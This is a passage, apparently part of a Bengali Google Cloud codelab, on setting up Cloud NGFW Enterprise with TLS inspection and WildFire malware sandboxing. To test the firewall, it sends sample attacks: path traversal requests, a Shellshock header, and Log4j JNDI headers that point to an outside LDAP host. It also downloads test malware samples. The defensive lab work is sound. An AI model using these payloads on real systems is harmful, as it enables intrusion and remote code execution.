Apache স্ট্যাটাস যাচাই করুন:

sudo systemctl status apache2

এটি চালু (রানিং) থাকতে হবে।

VM থেকে বেরিয়ে আসুন এবং cloudshell-এ চালিয়ে যান।

৮. নর্থবাউন্ড এবং E/W কানেক্টিভিটি যাচাই করুন

Cloud Shell-এ নিচে উল্লেখ করা কমান্ড রান করুন এবং ব্যবহার করার জন্য টার্গেট আইপি নোট করুন:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

নতুন ট্যাব খুলুন এবং IAP-এর মাধ্যমে ক্লায়েন্ট VM-এ SSH কানেকশন শুরু করুন (আপনাকে নতুন ট্যাবে ভেরিয়েবেলগুলি সংজ্ঞায়িত করতে হবে):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

নিচের কমান্ড রান করুন এবং ব্যবহার করার জন্য টার্গেট IP নোট করুন। আগের ধাপ থেকে নোট করা IP দিয়ে ব্র্যাকেটের মধ্যে থাকা ভ্যালু পরিবর্তন করে ভেরিয়েবল তৈরি করুন এবং সেগুলি অ্যাক্সেস করা যাচ্ছে কিনা তা নিশ্চিত করুন:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

ব্যক্তিগত IP কার্ল করুন এবং এটি অ্যাক্সেস করা যাচ্ছে কিনা তা নিশ্চিত করুন:

curl https://$target_privateip --max-time 2

curl অনুরোধের জন্য প্রত্যাশিত ফলাফল:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

IP-তে স্যাম্পেল অ্যাটাক পাঠান। ওয়েব সার্ভারকে সব অনুরোধের উত্তর দিতে হবে, যাতে কনফার্ম করা যায় যে L7 ইন্সপেকশন/প্রিভেনশন চালু নেই:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

প্রত্যাশিত ফলাফলের স্যাম্পেল (ব্যক্তিগত IP):

400
404
400
200
200

একইভাবে, কোনও ইন্টারনেট ডেস্টিনেশনে অনুরোধ পাঠান:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

প্রত্যাশিত ফলাফলের নমুনা (ইন্টারনেট ডেস্টিনেশন):

400
404
400
403
403

VM টার্মিনাল থেকে বেরিয়ে ক্লাউড শেলে ফিরে যান।

৯. TLS ইন্সপেকশনের জন্য ফায়ারওয়াল সংক্রান্ত নিয়ম তৈরি ও আপডেট করা

আগে, আমরা ইন্টার্নাল সাবনেট থেকে আমাদের সার্ভারে ইনগ্রেস ট্রাফিককে অনুমতি দেওয়ার জন্য একটি ফায়ারওয়াল নিয়ম কনফিগার করেছি। আমরা এখন আগে থেকে থাকা ইনগ্রেস নিয়ম আপডেট করব এবং অ্যাকশন apply_security_profile_group-এ সেট করব। এটি TLS সহ E/W L7 ইন্সপেকশন চালু করবে:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

TLS-এর মাধ্যমে নর্থবাউন্ড L7 ইন্সপেকশন পরীক্ষা করার জন্য নতুন নিয়ম তৈরি করুন।

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

ডবল ইন্সপেকশন প্রতিরোধ করতে, E/W-এর জন্য EGRESS-কে অনুমতি দিতে নতুন নিয়ম তৈরি করুন।

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

১০. নর্থবাউন্ড TLS ইন্সপেকশন যাচাই করা হচ্ছে

ক্লায়েন্ট VM ট্যাবে ফিরে যান বা আবার কানেক্ট করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

ইন্টারনেট ডেস্টিনেশনে স্যাম্পেল অ্যাটাক পাঠান:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

নিচে প্রত্যাশিত আউটপুট অনুযায়ী কোনও উত্তর পাওয়া যায়নি, যা কনফার্ম করে যে স্যাম্পেল অ্যাটাক এখন ব্লক করা হচ্ছে:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

ভেরিয়েবেলটি আগের সার্ভার আইপিতে সেট করো:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

সার্ভারে স্যাম্পেল TLS অনুরোধ পাঠান:

curl https://$target_privateip --max-time 2

প্রত্যাশিত আউটপুট:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

এই অনুরোধ কেন সম্পূর্ণ করা যায়নি? এর কারণ হল, ফায়ারওয়াল সার্ভার থেকে এমন একটি সার্টিফিকেট পাচ্ছে যা বিশ্বাসযোগ্য নয়। এটি ঘটলে, এটি ক্লায়েন্টকে একটি সেল্ফ-সাইন করা সার্টিফিকেট ফেরত পাঠাবে। ট্রাস্ট চালু করার জন্য ট্রাস্ট কনফিগারেশনের অংশ হিসেবে আমাদের CA সার্টিফিকেট যোগ করতে হবে।

Cloud Shell-এ ফিরে যান।

১১. ট্রাস্ট কনফিগারেশন কনফিগার করুন

রুট CA সার্টিফিকেট পান এবং সঠিক ফর্ম্যাটিং সহ এটিকে ভেরিয়েবল হিসেবে সেট করুন।

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Trust Config YAML ফাইল কনফিগার করুন। এই ফাইলে CA সার্টিফিকেটের মতো বিশ্বস্ত বিবরণ রয়েছে:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

উপরের কমান্ডগুলি আপনার রুট CA সার্টিফিকেটকে ট্রাস্ট স্টোরের অংশ হিসেবে অন্তর্ভুক্ত করেছে কারণ আপনার সার্ভার সার্টিফিকেট রুট CA ব্যবহার করে স্বাক্ষরিত হয়েছে। এর অর্থ হল, ফায়ারওয়াল আপনার রুট CA দ্বারা স্বাক্ষরিত যেকোনও সার্টিফিকেটকে বিশ্বাস করবে - আপনার TLS নীতিতে excludePublicCaSet-এর মান false হলে পাবলিক CA-এর পাশাপাশি এটিও বিশ্বাস করবে।

ট্রাস্ট কনফিগারেশনের কন্টেন্ট চেক করুন।

cat trust_config.yaml 

স্যাম্পেল আউটপুট:

সার্টিফিকেটের ইন্ডেন্টেশন অ্যালাইনমেন্টের দিকে বিশেষ মনোযোগ দিন। এটি অবশ্যই এই ফর্ম্যাট অনুসরণ করবে।

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

ট্রাস্ট কনফিগারেশন ইমপোর্ট করুন:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

ট্রাস্ট কনফিগারেশন অন্তর্ভুক্ত করতে TLS নীতি YAML ফাইল আপডেট করুন:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

আপডেট করা TLS নীতি ইম্পোর্ট করুন:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

১২. E/W TLS ইন্সপেকশন যাচাই করা হচ্ছে

আপডেট করা ট্রাস্ট কনফিগারেশনের সাথে E/W ট্রাফিক পরীক্ষা করতে ক্লায়েন্টে SSH ব্যাক করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

সার্ভারে স্যাম্পেল TLS অনুরোধ রান করুন:

curl https://$target_privateip --max-time 2

আপনি এখনও নিচের আউটপুট দেখতে পেলে, আপডেট কার্যকর হওয়া পর্যন্ত অপেক্ষা করুন।

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

প্রত্যাশিত আউটপুট:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

সার্ভারে ক্ষতিকর টেস্ট ট্রাফিক পাঠান:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

প্রত্যাশিত আউটপুট:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

নিচে দেখানো প্রত্যাশিত আউটপুট অনুযায়ী কোনও উত্তর পাওয়া যায়নি, যা কনফার্ম করে যে স্যাম্পেল অ্যাটাক এখন E/W-এর জন্য ব্লক করা হচ্ছে।

১৩. লগিং

Cloud Console-এর মাধ্যমে লগিং > লগ এক্সপ্লোরারে নেভিগেট করুন, নিচে ফিল্টার লিখুন এবং লগ কোয়েরি করুন। [PROJECT_ID]-এর জায়গায় আপনার project_id লিখুন:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise লগ এন্ট্রি নিচে উল্লেখ করা উদাহরণের মতো দেখতে হবে:

5b68cc1063c0f4bd.png

লগ এন্ট্রি বড় করে দেখুন এবং লক্ষ্য করুন যে ক্লায়েন্ট VM থেকে সার্ভারে পাঠানো অ্যাটাক শনাক্ত করা ও ব্লক করা হয়েছে (নিচের স্ক্রিনশট অনুযায়ী Apache Log4j রিমোট কোড এক্সিকিউশন সংক্রান্ত দুর্বলতা)।

478f18f8481e90ed.png

আপনি ক্ষতিকর অনুরোধ ব্লক করার জন্য TLS Inspection-এর সাথে Cloud NGFW Enterprise সফলভাবে ডিপ্লয় করেছেন।

উন্নত ম্যালওয়্যার স্যান্ডবক্স (WildFire) কনফিগার ও যাচাই করার জন্য পরবর্তী বিভাগে যান অথবা ক্লিন-আপ ধাপ-এ যান।

১৪. [ঐচ্ছিক] উন্নত ম্যালওয়্যার স্যান্ডবক্স (WildFire) কনফিগার করুন

উন্নত ম্যালওয়্যার স্যান্ডবক্স (WildFire) ট্রানজিটে থাকা ফাইলগুলি পরীক্ষা করে এবং গভীর আচরণগত বিশ্লেষণের জন্য ক্লাউড-ভিত্তিক স্যান্ডবক্সে (Palo Alto Networks Advanced WildFire দ্বারা পরিচালিত) অজানা ফাইল জমা দিয়ে Cloud NGFW Enterprise-এর হুমকি প্রতিরোধ ক্ষমতা বাড়ায়।

উন্নত ম্যালওয়্যার স্যান্ডবক্স EULA-তে সম্মতি জানান

ফায়ারওয়াল এন্ডপয়েন্টে উন্নত ম্যালওয়্যার স্যান্ডবক্স চালু করার আগে, আপনার বিলিং প্রোজেক্টে ($billing_project) এককালীন গ্রাহক সংক্রান্ত লাইসেন্স চুক্তি (EULA) পর্যালোচনা করে সম্মতি দিতে হবে। EULA-তে সম্মতি শুধুমাত্র Google Cloud Console-এ দেওয়া যাবে: নেটওয়ার্ক সুরক্ষা > ফায়ারওয়াল এন্ডপয়েন্ট বিকল্পে যান, $prefix-$zone এন্ডপয়েন্ট এডিট করুন, উন্নত কনফিগারেশন বিকল্পের মধ্যে উন্নত ম্যালওয়্যার স্যান্ডবক্স (WildFire) চালু করুন বিকল্প বেছে নিন এবং সম্মতি দিয়ে চালিয়ে যান বিকল্পে ক্লিক করুন।

ফায়ারওয়াল এন্ডপয়েন্টে উন্নত ম্যালওয়্যার স্যান্ডবক্স চালু করা

gcloud network-security firewall-endpoints update ব্যবহার করে আগে থেকে থাকা $prefix-$zone ফায়ারওয়াল এন্ডপয়েন্টে উন্নত ম্যালওয়্যার স্যান্ডবক্স চালু করুন:

gcloud network-security firewall-endpoints update $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project \
  --enable-wildfire \
  --no-async

ফায়ারওয়াল এন্ডপয়েন্টে উন্নত ম্যালওয়্যার স্যান্ডবক্স চালু করা আছে কিনা তা কনফার্ম করুন:

gcloud network-security firewall-endpoints describe $prefix-$zone \
  --organization $org_id \
  --zone $zone

প্রত্যাশিত আউটপুট (wildfireSettings: enabled: true এবং state: ACTIVE যাচাই করুন):

associatedNetworks:
- projects/$project_number/global/networks/$prefix-vpc
associations:
- name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association
  network: projects/$project_number/global/networks/$prefix-vpc
billingProjectId: $billing_project
createTime: '2023-11-16T04:27:17.677731831Z'
endpointSettings:
  contentCloudRegion: US_CENTRAL
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T05:15:12.104829104Z'
wildfireSettings:
  enabled: true
  wildfireRegion: UNITED_STATES

WILDFIRE_ANALYSIS নিরাপত্তা প্রোফাইল তৈরি ও কনফিগার করুন

$prefix-sp-wildfire নামে একটি উন্নত ম্যালওয়্যার স্যান্ডবক্স (WILDFIRE_ANALYSIS) নিরাপত্তা প্রোফাইল তৈরি করুন:

gcloud network-security security-profiles wildfire-analysis \
  create $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

প্রত্যাশিত আউটপুট:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.

এরপর, আপলোড ও ডাউনলোড (--direction=BOTH) উভয় ক্ষেত্রেই APK ফাইল জমা দেওয়ার জন্য একটি অ্যাসিঙ্ক্রোনাস জমা দেওয়ার নিয়ম যোগ করুন:

gcloud network-security security-profiles wildfire-analysis \
  add-submission-rule $prefix-sp-wildfire \
  --organization $org_id \
  --location=global \
  --file-types=APK \
  --direction=BOTH

প্রত্যাশিত আউটপুট:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.

কনফিগার করা WILDFIRE_ANALYSIS নিরাপত্তা প্রোফাইল পরীক্ষা করুন:

gcloud network-security security-profiles wildfire-analysis \
  describe $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

প্রত্যাশিত আউটপুট:

createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
  wildfireInlineMlSetting: {}
  wildfireSubmissionRules:
  - customFileTypes:
      fileTypes:
      - APK
    direction: BOTH
    fileSelectionMode: CUSTOM_FILE_TYPES

নিরাপত্তা প্রোফাইল গ্রুপ ($prefix-spg) আপডেট করুন

$prefix-sp-wildfire অ্যাটাচ করতে $prefix-spg আপডেট করুন:

gcloud network-security security-profile-groups update $prefix-spg \
  --organization $org_id \
  --location=global \
  --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire

প্রত্যাশিত আউটপুট:

Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.

যেহেতু ফায়ারওয়াল নীতি সংক্রান্ত নিয়ম 900 (--action=apply_security_profile_group ও --tls-inspect সহ tcp:443-এর উপর EGRESS) আগে থেকেই $prefix-spg-কে রেফারেন্স করে, তাই $prefix-$zone-client থেকে শুরু করা এনক্রিপ্ট করা HTTPS ফাইল ডাউনলোড, TLS ইন্সপেকশনের মাধ্যমে অটোমেটিক ডিক্রিপ্ট করা হয় এবং ফায়ারওয়াল নীতি সংক্রান্ত নিয়মে কোনও পরিবর্তন না করেই উন্নত ম্যালওয়্যার স্যান্ডবক্সের মাধ্যমে মূল্যায়ন করা হয়।

১৫. [ঐচ্ছিক] উন্নত ম্যালওয়্যার স্যান্ডবক্স ফাইল জমা দেওয়া ও ফরেনসিক যাচাই করুন

অ্যাসিঙ্ক্রোনাস স্যান্ডবক্স জমা দেওয়া ও ফাইলের ধরন ফিল্টার করা টেস্ট করুন

Identity-Aware Proxy (IAP)-এর মাধ্যমে ক্লায়েন্ট VM ($prefix-$zone-client)-এর সাথে কানেক্ট করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

ক্লায়েন্ট VM থেকে, HTTPS-এর মাধ্যমে Palo Alto Networks পাবলিক টেস্ট APK ফাইল ডাউনলোড করুন:

curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15

এরপর, HTTPS-এর মাধ্যমে Palo Alto Networks পাবলিক টেস্ট ELF ফাইল ডাউনলোড করুন:

curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15

যেহেতু $prefix-sp-wildfire-এ আমাদের জমা দেওয়ার নিয়ম শুধুমাত্র APK ফাইল (--file-types=APK) টার্গেট করে, তাই ফায়ারওয়াল ELF ফাইল উন্নত ম্যালওয়্যার স্যান্ডবক্সে জমা দেয় না।

ক্লায়েন্ট VM টার্মিনাল থেকে বেরিয়ে Cloud Shell-এ ফিরে যান।

Cloud Logging-এ WildfireSubmissionLog যাচাই করুন

Cloud Console-এর মাধ্যমে লগিং > লগ এক্সপ্লোরারে নেভিগেট করুন, নিচে ফিল্টার লিখুন এবং লগ কোয়েরি করুন। [PROJECT_ID]-এর জায়গায় আপনার project_id লিখুন:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"

স্যান্ডবক্স বিশ্লেষণ সম্পূর্ণ হওয়ার পরে (সাধারণত কয়েক মিনিটের মধ্যে), APK ফাইল ডাউনলোডের জন্য একটি WildfireSubmissionLog এন্ট্রি দেখা যায়, যেখানে ELF ফাইল ডাউনলোডের জন্য কোনও সাবমিশন লগ তৈরি হয় না (কয়েক মিনিট পরেও কোনও লগ এন্ট্রি দেখা না গেলে, ১৫ মিনিটের নিরাপত্তা প্রোফাইল গ্রুপ প্রোপাগেশন উইন্ডো সম্পূর্ণ হওয়ার জন্য অপেক্ষা করুন এবং curl ডাউনলোড আবার চালান)। লগ এন্ট্রি বড় করুন এবং লক্ষ্য করুন যে এটির JSON পেলোড নিম্নলিখিতটির মতো:

{
  "insertId": "3xim62fg6n786",
  "jsonPayload": {
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
    "action": "ALLOW",
    "connection": {
      "clientIp": "10.0.0.2",
      "clientPort": 37142,
      "protocol": "tcp",
      "serverIp": "104.199.115.54",
      "serverPort": 443
    },
    "interceptInstance": {
      "projectId": "$project_id",
      "vm": "ngfw-enterprise-$zone-client"
    },
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "ngfw-enterprise-vpc"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "ngfw-enterprise-spg"
    },
    "wildfireDetails": {
      "detectionTime": "2026-10-16T20:29:44Z",
      "direction": "SERVER_TO_CLIENT",
      "file": "wildfire-test-apk-file.apk",
      "fileType": "APK",
      "hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "repeatCount": 1,
      "reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "severity": "[SEVERITY]",
      "subtype": "WILDFIRE",
      "verdict": "[VERDICT]"
    }
  },
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
  "receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
  "resource": {
    "labels": {
      "id": "ngfw-enterprise-$zone",
      "location": "$zone",
      "resource_container": "organizations/$org_id"
    },
    "type": "networksecurity.googleapis.com/FirewallEndpoint"
  },
  "timestamp": "2026-10-16T20:29:57.880438600Z"
}

wildfireDetails-এ গুরুত্বপূর্ণ ফিল্ডগুলি নোট করুন:

  • fileType: "APK" এবং subtype: "WILDFIRE", APK ট্রান্সফারের অ্যাসিঙ্ক্রোনাস স্যান্ডবক্স বিশ্লেষণ কনফার্ম করে।
  • file হল সার্ভার (wildfire-test-apk-file.apk) দ্বারা প্রদত্ত ফাইলের নাম, যা curl -o-এর সাথে ব্যবহৃত স্থানীয় ফাইলের নাম থেকে আলাদা হতে পারে।
  • hash টেস্ট স্যাম্পেলের অনন্য SHA-256 ডাইজেস্ট শনাক্ত করে।
  • verdict এবং severity স্যান্ডবক্স বিশ্লেষণ দ্বারা নির্ধারিত হয়।
  • reportUri এবং sampleUri ডাইনামিক বিশ্লেষণ রিপোর্ট এবং জমা দেওয়া স্যাম্পেল ফিরিয়ে আনার জন্য সরাসরি লিঙ্ক প্রদান করে।

জমা দেওয়া তথ্য দেখুন এবং ফরেনসিক আর্টিফ্যাক্ট ডাউনলোড করুন

Cloud Console-এর মাধ্যমে নেটওয়ার্ক সুরক্ষা > NGFW Enterprise লগ > উন্নত ম্যালওয়্যার স্যান্ডবক্স জমা দেওয়ার বিকল্পে নেভিগেট করুন এবং আপনার প্রোজেক্ট বেছে নিন। ফাইলের SHA-256 হ্যাশ, রায় ও ফায়ারওয়াল এন্ডপয়েন্ট সহ জমা দেওয়ার বিবরণ দেখতে wildfire-test-apk-file.apk এন্ট্রিতে ক্লিক করুন। জমা দেওয়ার জন্য আরও অ্যাকশন থেকে, আপনি PDF ডাইনামিক বিশ্লেষণ রিপোর্ট ডাউনলোড করতে বিশ্লেষণ রিপোর্ট ডাউনলোড করুন অথবা জমা দেওয়া ফাইল ডাউনলোড করতে ম্যালওয়্যার স্যাম্পেল ডাউনলোড করুন বিকল্প বেছে নিতে পারেন।

বিকল্প হিসেবে, আপনি WildfireSubmissionLog এন্ট্রি থেকে reportUri এবং sampleUri ভ্যালু ব্যবহার করে Cloud Shell থেকে বিশ্লেষণমূলক রিপোর্ট এবং স্যাম্পেল ডাউনলোড করতে পারবেন:

export report_uri="<REPORT_URI_FROM_LOG>"
export sample_uri="<SAMPLE_URI_FROM_LOG>"

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$report_uri" -o wildfire-report.pdf

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$sample_uri" -o wildfire-sample.bin

১৬. ক্লিন-আপ করার ধাপ

বেস সেট-আপ ক্লিন-আপ

ইনস্ট্যান্সগুলি সরান:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

tagAdmin এবং tagUsers ভূমিকা পরিবর্তন করা হলে নিচের ধাপগুলি অনুসরণ করুন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

ট্যাগ কী ও ভ্যালু সরিয়ে দিন:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Cloud Firewall নেটওয়ার্ক নীতি ও অ্যাসোসিয়েশন সরিয়ে দিন:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

